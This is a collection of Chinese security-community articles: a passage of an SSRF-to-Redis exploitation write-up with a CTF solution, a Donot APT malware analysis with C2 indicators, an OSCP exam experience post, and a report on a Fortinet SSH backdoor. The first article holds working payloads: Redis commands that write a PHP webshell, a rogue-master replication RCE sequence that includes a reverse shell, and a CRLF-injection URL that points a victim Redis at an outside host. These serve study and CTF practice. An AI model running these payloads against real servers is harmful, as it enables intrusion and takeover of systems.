在`PHP`当中我们可以利用`php://input`进行一些代码执行等等，而在文件上传中我们也经常利用到`htacess`文件以及`usr.ini`文件，他们都有两个选项：`auto_prepend_file`和`auto_append_file`，将两者结合，我们让文件在加载前预加载`php://input`就能进行任何的`PHP`代码执行了，然后利用`PHP`当中的各种内置函数来进行命令执行就能够`getshell`。
###### 具体步骤
在我们使用一系列的方式进行信息搜集后发现目标机器使用了`Fastcgi`并且确认其网站上存在`ssrf`漏洞。
因为看他的原理就可以发现这个实现是有点复杂的，所以我们可以直接利用网上的`exp`进行攻击。
第一种方法利用GOPHER生成payload直接打：
可以看到打成功了。
写个定时任务就能一直弹`shell`了。
我们观察一下`Gophers`给我们的`poc`。
第二种也可以利用别人的`exp`，`github`上面有很多，我这里直接用p神的。
本地开个端口监听:
把流量抓下来：
进行转换发包：
成功执行我的`php`所以可以看见这其实是一个很麻烦的地方，能用`gophers`就尽量用吧。
##### 主从复制
关于主从复制：
如果当前服务器已经是某个主服务器(master server)的从属服务器，那么执行 SLAVEOF host port 将使当前服务器停止对旧主服务器的同步，丢弃旧数据集，转而开始对新主服务器进行同步。
另外，对一个从属服务器执行命令 SLAVEOF NO ONE 将使得这个从属服务器关闭复制功能，并从从属服务器转变回主服务器，原来同步所得的数据集不会被丢弃。
适应场景：
当我们写shell的时候我们无法绕过对特殊字符的过滤，我们可以利用主从服务器。
利用主从服务器来写`shell`:
##### 环境搭建：
在这里因为我本机装`redis`两个实例没搞出来,因为装的时候就不太一样，所以我直接拉了一个`docker`，并且做了个端口映射。
其实觉得部分的命令都已经在`dict`协议的时候写过了，多了这么一点。
在本机上先试一下主从复制，然后放到公网上搞。
`docker exec -it redis-test /bin/bash`进入`docker`容器里，连上`redis`。
`master`：
`slave`:
利用这个我们可以编写`webshell`
在实战中：假设6390端口的`redis`是我们可控的`redis`服务器，而`6389`正是我们需要进行攻击的。
我们只需要进行主从绑定操作即可，获取到流量：
将其编码利用`gophers`进行发送。
同时我们还需要
此时我们查看一下从机。
发现已经是写进行了主从复制。
这里编码的是这些数据包：
在主机上：
发送`save`包：
访问`phpinfo.php`:
完成了主从复制的写`shell`。
而有些时候需要进行`auth`的授权，在那里可以尝试根据他的返回流量进行爆破。
当然网上还有一键就能写`shell`的，利用python脚本模拟`redis`主从之间的交互过程：
##### 主从复制RCE
在上面我们已经通过主从复制完成了`WebShell`的写入，其实还可以更进一步直接`RCE`，在`redis`的`4.x`以及`5.x`版本当中是存在RCE的可能性的。
相关命令：
设置redis的备份路径:config set dir ./
设置备份文件名为exp.so，默认为dump.rdb:config set dbfilename exp.so
设置主服务器IP和端口:slaveof 192.168.172.129 1234
加载恶意模块:module load ./exp.so
切断主从，关闭复制功能:slaveof no one
执行系统命令:system.exec 'whoami';system.rev 127.0.0.1 9999
通过dump.rdb文件恢复数据:config set dbfilename dump.rdb
删除exp.so:system.exec 'rm ./exp.so'
卸载system模块的加载:module unload system
###### 生成exp.so
网上有很多`exp`的`poc`,这里拿的是
<https://github.com/n0b0dyCN/redis-rogue-server>
`r3kapig`写的。
在实际当中很少有这样的情况，如果我们完成一次这样的渗透需要满足两个条件：
`protected-mode`为`no`, bind 由`127.0.0.1` 改为`0.0.0.0`。
ps：`bind`改动后服务器上任意网卡地址可访问
`在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件，我们就可以执行拓展的新命令了。`
现在我自己的机器上试验一下：
[>] PING - test if a connection is still alive
[<] +PONG
[>] REPLCONF - exchange replication information between master and slave
[<] +OK
[>] PSYNC/SYNC - synchronize slave state with the master
[<] +FULLRESYNC
把打的流量截取下来：（这里就是加载exp的过程）
不用脚本打的话无非就是把`exp`的位置放对了就可以。
#### PYTHON之URLLIB头注入ssrf&&祥云杯doyouknowssrf
在上周的祥云杯比赛中就碰到了这类的`ssrf`。
在`python`的`urllib`当中存在着此类漏洞，漏洞对那个存在的相应版本为`2.7.10`之前以及 `3.4.4`之前。
而在2019年又爆出了`CVE-2019-9740`,它的对应版本也是在`3.7.x`以及`2.7.16`以及`CVE-2019-9947`
前者的利用方法为：注入点在IP地址和端口号的分隔符即`:`前面
`example`：`http://192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected:
header\r\nTEST: 123:8080/test/?test=a`
后者为：注入点在端口号后面
`example`:`http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2:
\r\n`
###### 题目源码如下
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){
echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
return false;
}else{
return $url;
}
}
function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}
highlight_file(__FILE__);
curl($_GET['url']);
根据两者解析的差异性直接就这么写就能打到内网：
url=http://[email protected]:6379%[email protected]/
因为协议的限制，我们无法使用`dict`等协议，只能使用`http`那么我们可以使用`CRLF`进行内网的探测。
其实随着更进一步可以观察到这个不只有6379端口是能被利用的，5000端口也存在着漏洞，根据返回的响应头以及`hint`可以大致推断出这里才是`crlf`利用点：
?url=http://[email protected]:5000%[email protected]/%3Furl=https://baidu.com
接下来就是利用`Python-urllib/3.7`的`crlf`漏洞进行攻击
构造poc：
`url=http://[email protected]:5000
@www.sina.com/?url=http://127.0.0.1:6379/%20HTTP/1.1%0D%0Aauth%20123456%0D%0Aconfig%20set%20dir%20/var/www/html%0D%0Aconfig%20set%20dbfilename%20shell.php%0D%0Aslaveof%20116.62.207.70%2021000%0D%0Afoo%3A%20`
设置的`redis`命令就是：
auth 123456 #爆破出来的弱密码
config set dir /var/www/html
config set dbfilename shell.php
slaveof 116.62.207.70 21000 #21000是我们redis-rogue，用的是主从复制写shell
foo:
没有利用`exp.so`直接`getshell`的原因是它存在的限制太多了，组内的师傅试了一下没有流量返回回来就用了写`shell`的方式。
`shell`打出去了，直接蚁剑连一下就行。 | 社区文章 |
# Donot（APT-C-35）组织对在华巴基斯坦商务人士的定向攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
近期，360威胁情报中心协助用户处理了多起非常有针对性的邮件钓鱼攻击事件，被攻击目标包括中国境内的巴基斯坦重要商务人士，该轮攻击活动最早发生在2018年5月，攻击者对目标机器进行了长时间的控制。360威胁情报中心在本文中对本次的钓鱼攻击活动的过程与技术细节进行揭露，希望相关组织和个人能够引起足够重视并采取必要的应对措施。
2017年，360公司发现并披露了主要针对巴基斯坦等南亚地区国家进行网络间谍活动的组织[1]，内部跟踪代号为APT-C-35，其后网络安全厂商Arbor公开了该组织的活动并命名为Donot[2]。此APT组织主要针对政府机构等领域进行攻击，以窃取敏感信息为主要目的。从2017年至今，该组织针对巴基斯坦至少发动了4波攻击行动，攻击过程主要是以携带Office漏洞或者恶意宏的鱼叉邮件进行恶意代码的传播，并先后使用了两套独有的恶意代码框架：EHDevel和yty。而在这一波攻击中，Donot团伙瞄准了在我国境内的巴基斯坦商务人士。
## 钓鱼攻击过程
攻击者针对目标的整个攻击过程如下：
## 恶意代码分析
360威胁情报中心对整个攻击过程进行了详细分析，过程如下。
### Dropper – Excel Macros
攻击者通过向目标邮箱发送带有恶意宏的Excel诱饵文档诱骗目标执行，宏代码成功执行后会在C:\micro释放office_update.exe，并执行该EXE文件。诱饵文档内容为宝马汽车促销的相关信息，这和受害者所从事的商务活动密切相关，极易取得受害者的信任：
### Downloader – office_update.exe
文件名 | office_update.exe
---|---
MD5 | 2320ca79f627232979314c974e602d3a
office_updata.exe则是一个下载者，其会通过http://bigdata.akamaihub.stream/pushBatch下载一个BAT文件并执行：
该BAT文件主要功能为设置自启动项实现持久化、创建隐藏的文件目录等，office_updata.exe还会从http://bigdata.akamaihub.stream/pushAgent下载文件保存到%USERPROFILE%\BackConfig\BackUp目录下，并命名为wlidsvcc.exe：
office_updata.exe最后会实现自删除：
### Plugin-Downloader – wlidsvcc.exe
文件名 | wlidsvcc.exe
---|---
MD5 | 68e8c2314c2b1c43709269acd7c8726c
wlidsvcc.exe也是一个下载者，wlidsvcc.exe会与C2通信下载后续需要执行的插件：wuaupdt.exe、kylgr.exe、svchots.exe等等，并启动wuaupdt.exe。样本运行后通过创建互斥量“wlidsvcc”以保证只有一个实例运行：
随后判断当前进程路径是否为%USERPROFILE%BackConfig\BackUp\wlidsvcc.exe：
若路径满足条件后，以POST方式与C2：bigdata.akamaihub.stream进行通信，并获取后续的控制指令：
通过判断C2返回数据，根据不同指令执行不同操作，当指令为“no”时，则Sleep 90秒后再与C2继续通信：
当命令为“cmdline”时，则启动插件执行器：%USERPROFILE%\BackConfig\BackUp\wuaupdt.exe，并继续与C2通信：
当指令不是上述两条指令，则从http://bigdata.akamaihub.stream/orderMe下载文件保存到路径C:\Users\%s\BackConfig\BigData，之后继续与C2通信获取需要执行的指令：
### Plugin executor – wuaupdt.exe
文件名 | Wuaupdt.exe
---|---
MD5 | 35ec92dbd07f1ca38ec2ed4c4893f7ed
wuaupdt.exe本身的功能是一个CMD后门，其会与C2通信执行一些CMD命令。并且还会通过攻击者下发的指令执行其他的插件，所有后门插件的分析见下节。
通过C2获取指令执行：
### Backdoor – Plugins
wuaupdt.exe会根据攻击者下发的指令执行对应的插件，相关插件分析如下。
#### Keylogger – Kylgr.exe
文件名 | Kylgr.exe
---|---
MD5 | 88f244356fdaddd5087475968d9ac9bf
PDB路径 |
c:\users\user\documents\visualstudio2010\Projects\newkeylogger\Release\new
keylogger.pdb
该插件的主要功能为键盘记录，其首先会在当前目录创建文件inc3++.txt，并检索%USERPROFILE%\Printers\Neighbourhood目录下是否已有历史键盘记录文件存在，若有则将文件名与最后修改时间保存到inc3++.txt：
如果%USERPROFILE%\Printers\Neighbourhood路径下有历史键盘记录文件，则将历史键盘记录文件移动到%USERPROFILE%\Printers\Neighbourhood\Spools目录下：
之后在%USERPROFILE%\Printers\Neighbourhood下创建格式为“用户名_年_月_日(时_分_秒)”的文本文件，用于记录当前的键盘记录，最后循环获取是否有键盘鼠标操作：
如果获取到窗口名，将窗口名和按键信息保存到创建的文本文件中：
#### file-listing – svchots.exe
文件名 | svchots.exe
---|---
MD5 | 14eda0837105510da8beba4430615bce
文件搜集插件首先会遍历C、D、E、F、G、H盘：
并排除以下目录：
然后获取以下扩展名的文件：
当找到有以上扩展名的文件后，将文件名与最后的修改日期写入当前目录下的test.txt文件中，并将搜集到的文件加上txt后缀后复制到%USERPROFILE%\Printers\Neighbourhood\Spools目录下：
#### Systeminfo – spsvc.exe
文件名 | spsvc.exe
---|---
MD5 | 2565215d2bd8b76b4bff00cd52ca81be
系统信息搜集插件使用UPX加壳，脱壳后根据字符串相关信息可以知道是go语言编写的程序。该插件会创建多个CMD进程执行命令，获取系统相关信息，并将获取的信息保存到目录%USERPROFILE%\Printers\Neighbourhood\Spools：
#### Uploader – lssm.exe
文件名 | lssm.exe
---|---
Md5 | 23386af8fd04c25dcc4fdbbeed68f8d4
文件上传插件主要用于将%USERPROFILE%Printers\Neighbourhood\Spools目录下，由木马收集的敏感信息和文件上传到C2：bigdata.akamaihub.stream
#### Uploader – lssmp.exe
文件名 | lssmp.exe
---|---
MD5 | b47386657563c4be9cec0c2f2c5f2f55
数字签名 | COMODO CA Limited
和lssm.exe功能类似的另外一个文件上传插件为lssmp.exe，该样本包含数字签名：
插件执行后会从当前进程列表中找到explorer.exe进程：
然后获取插件的资源节，并解密出一个PE文件：
将解密的PE文件注入到explorer.exe执行：
注入的PE文件在功能与lssm.exe插件一致，上传其他插件收集的键盘信息到C2：
## 关联样本分析
360威胁情报中心通过内部大数据关联到此次的攻击团伙使用的其它一些诱饵文档和插件，相关分析如下。
### CSD_Promotion_Scheme_2018.xls
文件名 | CSD_Promotion_Scheme_2018.xls
---|---
MD5 | 82a5b24fddc40006396f5e1e453dc256
该诱饵文档同样是利用恶意宏的Excel样本，打开文档后会提示启用宏：
恶意宏代码的主要功能为在%APPDATA%目录下释放Skype.exe，在C:\Skype目录下释放Skype.bat，并执行Skype.bat文件：
宏代码执行后同样会显示一个宝马汽车促销的相关图片：
### Skyep.bat
Skyep.bat会重新创建%USERPROFILE%Printers\Neighbourhood\Spools、%USERPROFILE%\BackConfig\BackUp和%USERPROFILE%\BackConfig\BigData文件夹，并将这些文件夹属性设置为隐藏：
该BAT文件还会获取计算机名，将获取到的计算机名和5位随机数字组成字符串保存到%USERPROFILE%\BackConfig\Backup\pcap.txt中：
并创建多个自启动项，为后续下载执行的插件设置持久化。最后启动Skyep.exe，并删除自身：
### Skyep.exe
文件名 | Skyep.exe
---|---
MD5 | f67595d5176de241538c03be83d8d9a1
PDB | C:\Users\spartan\Documents\Visual Studio 2010\Projects\downloader new 22
jun use\downloader\Release\downloader.pdb
Skyep.exe的主要功能为下载执行，文件名则伪装成语音软件Skype，其会从http://databig.akamaihub.stream/pushBatch（还存活）下载文件保存到\BackConfig\BackUp\csrsses.exe并执行，且Skyep.bat文件中已经把该文件写入到自启动项：
### Csrsses.exe
文件名 | Csrsses.exe
---|---
MD5 | e0c0148ca11f988f292f527733e54fca
该样本与前面分析的wlidsvcc.exe功能类似，都是与C2通信获取后续插件执行。
样本主要功能是与C2通信获取后续插件执行，首先从\\\BackConfig\\\BackUp\\\pcap.txt读取出计算机名：
然后将计算机名封装成字符串：“orderme/计算机名-随机数”，以POST方式与C2：databig.akamaihub.stream进行通信，获取后续命令执行：
之后通过判断返回网络数据中的Content-Type进行后续操作：如果是“application”，则从C2获取文件保存到\\\BackConfig\\\BigData\\\目录下：
如果是“cmdline”，则执行\\\BackConfig\\\BigData\\\wuaupdt.exe，并继续与C2通信：
当等于“batcmd”时，则启动\\\BackConfig\\\BigData\\\test.bat，并且继续与C2通信：
## 溯源 – Donot（APT-C-35）
360威胁情报中心通过对此次攻击中使用的宏代码、插件、域名/IP关联分析，以及使用360威胁情报中心分析平台对相关样本和网络基础设施进行拓展，我们确认此次攻击的幕后团伙为Donot
APT组织（APT-C-35）。
### 宏代码相似
2018年3月ASERT曝光的DONOT APT组织[2]的宏利用样本和本次攻击活动中使用的宏利用样本相似度极高，并且都是执行完宏后弹出一个诱饵图片。
### 插件相似度
和之前的Donot样本一致，这次的样本也是通过重C&C获取插件执行的插件式木马。其中都有UPX加壳的go语言木马，且代码逻辑高度一致：
本次攻击活动中的wuaupdt.exe在之前的Donot攻击活动中[1]也曾出现，且C2地址一致。
## 总结
从本次捕获到的Donot
APT攻击活动来看，该APT团伙依然以巴基斯坦相关人士作为首要攻击目标，甚至将攻击范围扩大到包括在华的巴基斯坦人员和机构。种种迹象表明，Donot
APT组织（APT-C-35）从未停止自己的攻击活动，或许近期会再次发动新的网络间谍攻击。
360威胁情报中心再次提醒各企业用户，加强员工的安全意识培训是企业信息安全建设中最重要的一环，如有需要，企业用户可以建设态势感知，完善资产管理及持续监控能力，并积极引入威胁情报，以尽可能防御此类攻击。
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此APT攻击团伙攻击活动的检测。
## IOC
MD5
---
82a5b24fddc40006396f5e1e453dc256
f67595d5176de241538c03be83d8d9a1
e0c0148ca11f988f292f527733e54fca
2320ca79f627232979314c974e602d3a
68e8c2314c2b1c43709269acd7c8726c
35ec92dbd07f1ca38ec2ed4c4893f7ed
88f244356fdaddd5087475968d9ac9bf
14eda0837105510da8beba4430615bce
2565215d2bd8b76b4bff00cd52ca81be
23386af8fd04c25dcc4fdbbeed68f8d4
b47386657563c4be9cec0c2f2c5f2f55
C&C
databig.akamaihub.stream
bigdata.akamaihub.stream
185.236.203.236
unique.fontsupdate.com
PDB路径
C:\Users\spartan\Documents\Visual Studio 2010\Projects\downloader new 22 jun
use\downloader\Release\downloader.pdb
C:\users\user\documents\visualstudio2010\Projects\newkeylogger\Release\new
keylogger.pdb
## 参考
1. https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
2. https://asert.arbornetworks.com/donot-team-leverages-new-modular-malware-framework-south-asia/ | 社区文章 |
## 一、OSCP简介
安全技术类的证书有很多，像是CEH, Security+, CISSP等等。除了众多侧重于笔试的安全认证，OSCP(Offensive Security
Certified Professional) 是为数不多得到国际认可的安全实战类认证。
> OSCP认证，是一个专门针对Kali
> Linux渗透测试培训课程的专业认证。该认证机构声称，OSCP认证是一个区别于所有其它认证的考试，考试全程采取手动操作的方式，而不设笔试环节。
> **认证条件：** 无
> **考试：**
> OSCP的认证考试也是另类的存在，考生拥有24小时的时间（实际是23小时45分钟）去完成考试，具体如何分配时间由考生自己决定。题目是5台主机（随机抽取），目标是攻入并拿到最高权限（ROOT/SYSTEM）。基于难度级别，成功执行的攻击会获得相应的积分。24小时结束之后，你还有24小时去完成并提交考试报告（需要详细说明攻击步骤和里程碑截屏来证明确实攻破并获得相应权限）。
> **考试费用约为：** $ 800 美元（30天实验室访问+认证）
> **相关链接：**
> [概述](https://www.offensive-security.com/information-security-> certifications/oscp-offensive-security-certified-professional/)
> [培训材料](https://www.offensive-security.com/information-security-> training/penetration-testing-training-kali-linux/)
CISSP每年需要提交教育学分，考试费用、年度维护费也比较高。OSCP认证是长期有效的。考一个还算是比较值得的。
博主也说明一点，拥有OSCP证书不代表你具备多么高超的渗透测试能力或经验。但是通过OSCP培训，确实可以给你建立出比较清晰的渗透测试思维。`这才只是个开始`
这套渗透测试方法论，是公开的，博主确实也看到很多从业多年的渗透测试人员，有自己总结的一套方法论。比如可以参考《Penetration
Testing》这本书:<https://book.douban.com/subject/25883745/>
所以这个证书或培训，主要还是看个人的需要啦。
## 二、经验分享
### 1、关于OSCP
* OSCP认证阶段分为：线上培训`Lab环境`、线上考试`Exam环境`（2个阶段／环境）
* 官网是<https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/>
* 参加OSCP认证，必须参加他们的线上课程。详情可见线上课程大纲：<https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf>
* 线上课程`Lab环境`按天数分为3种（最小是30天）
* Course + 30 days lab（有保持渗透测试训练的安全人员，可以考虑买最少的，毕竟价格还是很贵的）
* Course + 60 days lab
* Course + 90 days lab
* 如果你不是很有把握必过的话，30天Lab环境是不够做完练习题、10台Lab机器报告、50多台Lab环境机器提权的。
* 官网价格表：<https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/> 搜“OSCP COST”
* 培训资料
* PDF
* 大纲：<https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf>
* 里面有练习题
* Video
* Lab环境
* 分为4个子网（Public、Development、IT、Admin）
* 一开始学生是进入的与Public连通的Student网络
* Lab环境是学员共用的，所以大家的操作会有很小的影响，至少博主没有遇到什么很不文明的行为
* 50多台主机，有些主机可能拥有多个网卡（会有不同的用处哦～）
* 学生目标是尽可能取得所有主机上的root/system权限
* 攻击路径思路，其实比较自由，可能多条路径拿到root/system权限。时间足够的话，可以尝试多条路径。（但是价格太贵了，感兴趣的可以到后面博主提到的模拟平台上练习）
* Exam环境（大约2天时间完成）
* 5台主机（目标23小时45分攻破）
* `考试要求资料！一定要看仔细了！有些工具是禁用的！不然会0分！`（重考又要交钱，仔细点省点钱哈）
* 24小时完成一份英文报告
* 考试成绩是实战Got Proof File，加上`报告（按照考试要求写，所以一定要读清楚考试要求）`。总共达到70分以上算通过
* Forum & IRC
* 上面会有一些小小的提示，Lab环境有一些机器比较难，博主看了下其他学员的对话，才找到思路。
* 看他们的对话，感觉他们都好可爱。有些没有思路在上面询问的，有些有思路了在那儿Dance Dance的。
* 另外一个很重要的一点建议，最好可以先看下论坛里面官方提供的一台机器的教学帖子。思路、方法、工具，写的非常详细，而且还用多种方式进行攻击，算是做到out of 100的样板吧。（不过在Lab环境里面，金钱和时间上都不允许这么做啊，有兴趣的可以到博主后面提到的模拟练习环境玩）
* Revert
* 先回滚再进行攻击，以免其他学员的操作影响到你。
* 每天有8次回滚主机的机会，博主只遇到1、2台机器回滚次数不够用。其实也可以换一台主机玩，不用死磕那台。
* Exam环境可以无限revert，自己的独立环境不受其他学员影响
* Proof.txt V.S. network-secret.txt
* Proof.txt是奖励或证明文件
* network-secret.txt是开启下一个网段的钥匙
### 2、模拟练习平台
`Key Takeaway`
OSCP
Lab环境价格太高了，下面推荐几个免费的跟Lab环境类似的练习平台。这样很久没做渗透测试的同学，也可以找找感觉先。直接去Lab环境下找感觉，这有点太奢侈了。。。
* 模拟练习平台（跟Lab环境类似）
* vulnhub：<https://www.vulnhub.com/>
* hackthebox：<https://www.hackthebox.eu/>
* pentestit：<https://lab.pentestit.ru/>
* 专题练习平台（对某一种类型的漏洞或技术做专项训练）
* Root Me：<https://www.root-me.org/>（官网提供的资料超级好，建议多看看）
* 不过自己在练习平台上练习的话，会有一个问题，就是时间上控制不好。容易在某个问题里陷进去，然后时间就过去了。
### 3、相关书籍
* 《Penetration Testing》:<https://book.douban.com/subject/25883745/>
### 4、考试必备
* [https://www.google.com](https://www.google.com/)
* OSCP常用cheatsheet（几乎OSCP里面常用的命令在这里都可以找到）
* <https://github.com/frizb/OSCP-Survival-Guide>
* Linux提权
* Linux提权指南
* <https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/>
* Linux提权辅助脚本
* <https://www.securitysift.com/download/linuxprivchecker.py>
* <https://github.com/HappyTreeFriend/linux-exploit-suggester>
* LinuxExploits
* <https://github.com/HappyTreeFriend/kernel-exploits>
* Windows提取
* Windows提权指南
* <http://www.fuzzysecurity.com/tutorials/16.html>
* Windows提权辅助脚本
* <https://github.com/pentestmonkey/windows-privesc-check>
* WindowsExploits
* <https://github.com/abatchy17/WindowsExploits>
## 三、个人历程
博主参加了10月份为期30天的培训，预约到了11月初的考试。
考完试很快就收到了邮件反馈。
### 1、培训前
7月-9月的时间，陆陆续续有在Root Me、vulnhub上练习。特别在root-me上刷题的时候，多总结文章，考完OSCP，博主还想继续保持在rootme上刷题，真的很有帮助。
### 2、Lab进行中
* 一开始是打算把练习题和Lab环境报告写了的，因为可以在考试成绩上挣5分。
* 不过最后时间实在是不够了，如果你不是很有把握必过的话，30天Lab环境是不够做完练习题、10台Lab机器报告、50多台Lab环境提权的。而且还需要一些时间做总结记录，毕竟还是为了学习成长为主。
* 最后博主Lab环境只剩2台admin机器的本地提权没做完，临Lab到期那天晚上本来博主准备再刷完的，可惜跟另外一个更紧急的事有时间冲突。
* 做完了全部的练习题，但是没有写10台Lab机器的报告。临近考试前，写了1台机器的报告当练习。
* 当时在网上看别人的经验总结，说Public网段的humble、pain、sufferance三台机器很难。所以这三台机器是留到最后来做的，但出乎意料的是humble、sufferance、pain并不困难。也有可能是因为我把这三台放到最后来做，然后个人能力成长了再来做就不觉得难了。sufferance会稍微有点难，不过恰好我关注了g0tmi1k的blog、github，刚好看到了`那篇文章`。
* Stuck的时候，多google、多逛逛论坛、看看PDF、做做练习题。
* 有些机器暂时没有任何思路，有可能是需要结合其他机器上的信息。Lab环境有很多机器之间是有联系的，hostname为什么叫这个，网段名叫Public、Dev、IT、Admin都是有原因的。管理员、用户会怎么思考、会在机器上做什么。
* 特别是内网的机器上，很多需要依赖信息搜集，才能攻破的机器。
* 博主那段时间，经常都是2、3点才睡觉，经常都是思路来了，就想马上验证。但是觉得那样不好咯，因为不够清醒，可能会忽略掉一些信息。有思路了，记下来，睡个好觉再起来干。时间对每个人都是公平的。
### 3、Exam环境考试
* 考试前，好怕报告被扣分，毕竟博主从来没写过英文报告。所以把Lab环境中找了一台机器写报告。其实OSCP的英文报告要求比起工作中的渗透测试报告要求简单多了。
* 不过博主的英文报告的用词，肯定还是不够好的，这点博主是有自知之明的。所以OSCP真的只是博主的一个开始。
* 实战时间是23小时45分钟，目标是拿到5台机器的root/system权限
* 机器总共是5台（2台25分、2台20分、1台10分）。
* 最后博主只完成了4台的，加最后1台的有限的普通用户权限。
* 考试这里还是时间的问题，其实考试的题目比Lab环境的要简单一些，思路都很明显。可能官方还是考虑到时间会不够的问题。
* 考试时，如果你不确定这是5台中唯一会使用到metasploit的机器，最好不要对这个台机器使用MSF。因为官方只允许使用MSF在1台机器上。
* 博主考试的时候，MSF的机会，用了1台机器，主要是因为时间快不够了。
* 时间安排
* 博主因为是下午4点开始的考试，一开始时间还不紧迫。睡觉前搞定了一台10分和一台25分的机器，晚上还睡了个美容觉，结果第二天时间就有点紧张了。
* 做完一台20分的题，还剩一台20分和一台25分的题。
* 后面时间有点不够，剩下那台20分的就用的MSF。
* 25分那题确定了只能手工搞，最后的时间就基本在手工测这台25分的机器。很遗憾不够时间做完。
* 建议考前可以在vulhub上找一些机器预估一下自己的时间。
* 所以最后实战考试是做到了75分，不过我写报告的时候，也把最后那台的进展写上去了。
## 四、难易程度
* 总体来说，还是属于演练的难度，故意放上有漏洞的机器。除了有几台是故意搞了一些rabbit hole，还有一些有点脑洞（像是CTF那种题）。
* 难度不算太大，适合做训练。除了一些rabbit hole题、脑洞题，可能不太适合作为训练题。
* 难的机器基本都在Public网段，内网的机器很多都是靠信息搜集。
* OSCP的题目，是偏漏洞利用的，几乎不需要做太多编程、漏洞挖掘。
* 只能说一句，比起很多CTF比赛的题目，OSCP真的是太简单了。这可能也是跟定位有关，主要就是以培训、模拟渗透测试环境为目的。
## 五、其他建议
* 中国有很多类似OSCP的认证，形式、内容都差不多的结构，不过可能在国际上的认可度，还没像OSCP这样。所以看自己的需要吧。
* OSCP认证价格略贵，不太适合学生。学生党，多参加CTF、学校／公司的安全比赛，或者到我前面提到的“模拟练习平台”上做练习，性价比更高。当然如果你真的需要这个证书也是可以的。
* OSCP资料全是英文的，单纯从学习、吸收效果上来看，对于英语不够好的同志来说是有点信息丢失的。光是从培训效果上来说，花了那么多钱，却丢失了信息，有点划不来。
* `当然你所经历的一切，都会为你打开另外一片天地。` | 社区文章 |
# Fortinet的硬件产品中存在SSH后门
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://arstechnica.com/security/2016/01/secret-ssh-backdoor-in-fortinet-hardware-found-in-more-products/>
译文仅供参考，具体内容表达以及含义原文为准。
**研究人员在Fortinet公司旗下的多款硬件产品中发现了SSH后门，Fortinet建议其用户尽快移除设备中未知来源的身份验证功能。**
近期，安全专家对安全公司Fortinet所生产的的硬件产品进行了安全检测，并在其几款新型硬件产品中发现了后门。随后，该公司也发表了一份紧急通告来通知受此后门影响的用户。
上周，[针对这一后门的攻击代码被发布到了网上](http://arstechnica.com/security/2016/01/et-tu-fortinet-hard-coded-password-raises-new-backdoor-eavesdropping-fears/)。随后，该公司的安全技术人员便在相关设备中发现了一个带有硬编码密码的非法帐号。此事件一经曝光，Fortinet的官方发言人便表示，只有少数旧版本的FortiOS软件（Fortinet公司旗下的一款产品）会受到这个后门的影响。除此之外，该公司还表示：使用[安全shell（SSH）协议](https://en.wikipedia.org/wiki/Secure_Shell)来登录服务器的行为本身就是一种非法操作，这种“远程管理”功能早在2014年7月份就已经从相关产品中移除了。
这周，Fortinet公司还发表了一篇公告，并在公告中说到：在公司目前在售的几款产品（包括FortiSwitch，FortiAnalyzer以及FortiCache设备在内）中，这个后门目前仍然处于活跃状态。公司在对其产品进行安全审查的过程中发现了上述的情况，随后该公司便发表了一份官方声明，具体信息如下：
正如我们在此之前所描述的，安全研究专家所发现的这个漏洞来源于Fortinet产品中的一个功能，而这个功能在设计之初为的是在经过认证的FortiManager与已注册的FortiGate设备之间提供无缝访问，但现在却导致了这个漏洞的产生。在此大家需要注意的是，这并不是一个用于非法访问用户设备的恶意后门。
根据安全研究人员的漏洞披露信息，我们在今天正式发布了一份安全公告，并提供了一个能够修复相应产品漏洞的软件更新补丁。这个软件更新补丁也将适用于几款已停产设备和几款即将淘汰的产品。目前，我们正在积极与客户进行沟通，并且强烈建议所有的Fortinet用户尽快使用下列产品来为系统进行升级更新：
| FortiAnalyzer: 5.0.0 至 5.0.11，5.2.0 至 5.2.4 (4.3版本并未受到这个漏洞的影响)
| FortiSwitch: 3.3.0至3.3.2
| FortiCache: 3.0.0至3.0.7 (3.1版本并未受到这个漏洞的影响)
| FortiOS 4.1.0至4.1.10
| FortiOS 4.2.0至4.2.15
| FortiOS 4.3.0至4.3.16
| FortiOS 5.0.0至5.0.7
